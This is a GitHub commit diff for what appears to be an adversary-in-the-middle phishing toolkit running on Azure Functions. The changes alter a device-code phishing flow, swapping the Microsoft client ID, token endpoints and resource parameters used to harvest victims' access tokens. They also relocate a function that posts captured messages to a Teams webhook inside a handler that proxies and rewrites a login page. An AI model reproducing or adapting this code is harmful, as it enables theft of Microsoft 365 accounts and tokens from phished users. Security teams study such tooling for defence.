Skip to content

Commit

Permalink
Updates
Browse files Browse the repository at this point in the history
  • Loading branch information
nicolonsky committed Oct 10, 2024
1 parent 555210c commit 5601de2
Show file tree
Hide file tree
Showing 3 changed files with 30 additions and 27 deletions.
11 changes: 6 additions & 5 deletions src/functions/devicecode_landing.js
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
const { app } = require("@azure/functions");
const axios = require('axios')

const client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264";
const client_id = '00b41c95-dab0-4487-9791-b9d2c32c80f2';
const resource = "https://graph.microsoft.com/";
const token_endpoint = "https://login.microsoftonline.com/common/oauth2/devicecode";
const token_endpoint = "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0";

app.http("landing", {
methods: ["GET"],
Expand All @@ -12,12 +12,13 @@ app.http("landing", {
handler: async (request, context) => {

const devicecode = await axios.post(token_endpoint, {
"client_id": client_id,
"resource": resource
'client_id': client_id,
'resource': '0000000c-0000-0000-c000-000000000000',
// 'amr_values': 'ngcmfa',
}, {
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'AzureAiTMFunction'
// 'User-Agent': 'AzureAiTMFunction'
}
}).then(response => {
//context.log(`Received response with status: ${response.status}`)
Expand Down
7 changes: 4 additions & 3 deletions src/functions/devicecode_poll.js
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
const { app } = require("@azure/functions");
const axios = require('axios');

const client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264";
const token_endpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/token";
const client_id = '00b41c95-dab0-4487-9791-b9d2c32c80f2';
const token_endpoint = "https://login.microsoftonline.com/common/oauth2/token";

app.http("poll", {
methods: ["PUT"],
Expand All @@ -20,7 +20,8 @@ app.http("poll", {
devicecode = await axios.post(token_endpoint, {
"client_id": client_id,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": request_body.device_code
"resource": "https://graph.microsoft.com",
"code": request_body.device_code
}, {
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
Expand Down
39 changes: 20 additions & 19 deletions src/functions/phishing.js
Original file line number Diff line number Diff line change
Expand Up @@ -29,30 +29,31 @@ async function replace_response_text(response, upstream, original) {
.then((text) => text.replace(new RegExp(upstream, "g"), original));
}

async function dispatchMessage(message) {
console.log(message);
if (teams_webhook_url) {
await fetch(teams_webhook_url, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ text: message }),
})
.then((response) =>
response.ok
? console.log("successfully dispatched MSG")
: console.error(`Failed to dispatch: ${response.statusText}`)
)
.catch((error) => console.log(error));
}
}

app.http("phishing", {
methods: ["GET", "POST"],
authLevel: "anonymous",
route: "/{*x}",
handler: async (request, context) => {

async function dispatchMessage(message) {
console.log(message);
if (teams_webhook_url) {
await fetch(teams_webhook_url, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ text: message }),
})
.then((response) =>
response.ok
? console.log("successfully dispatched MSG")
: console.error(`Failed to dispatch: ${response.statusText}`)
)
.catch((error) => console.log(error));
}
}

// original URLs
const upstream_url = new URL(request.url);
const original_url = new URL(request.url);
Expand Down

0 comments on commit 5601de2

Please sign in to comment.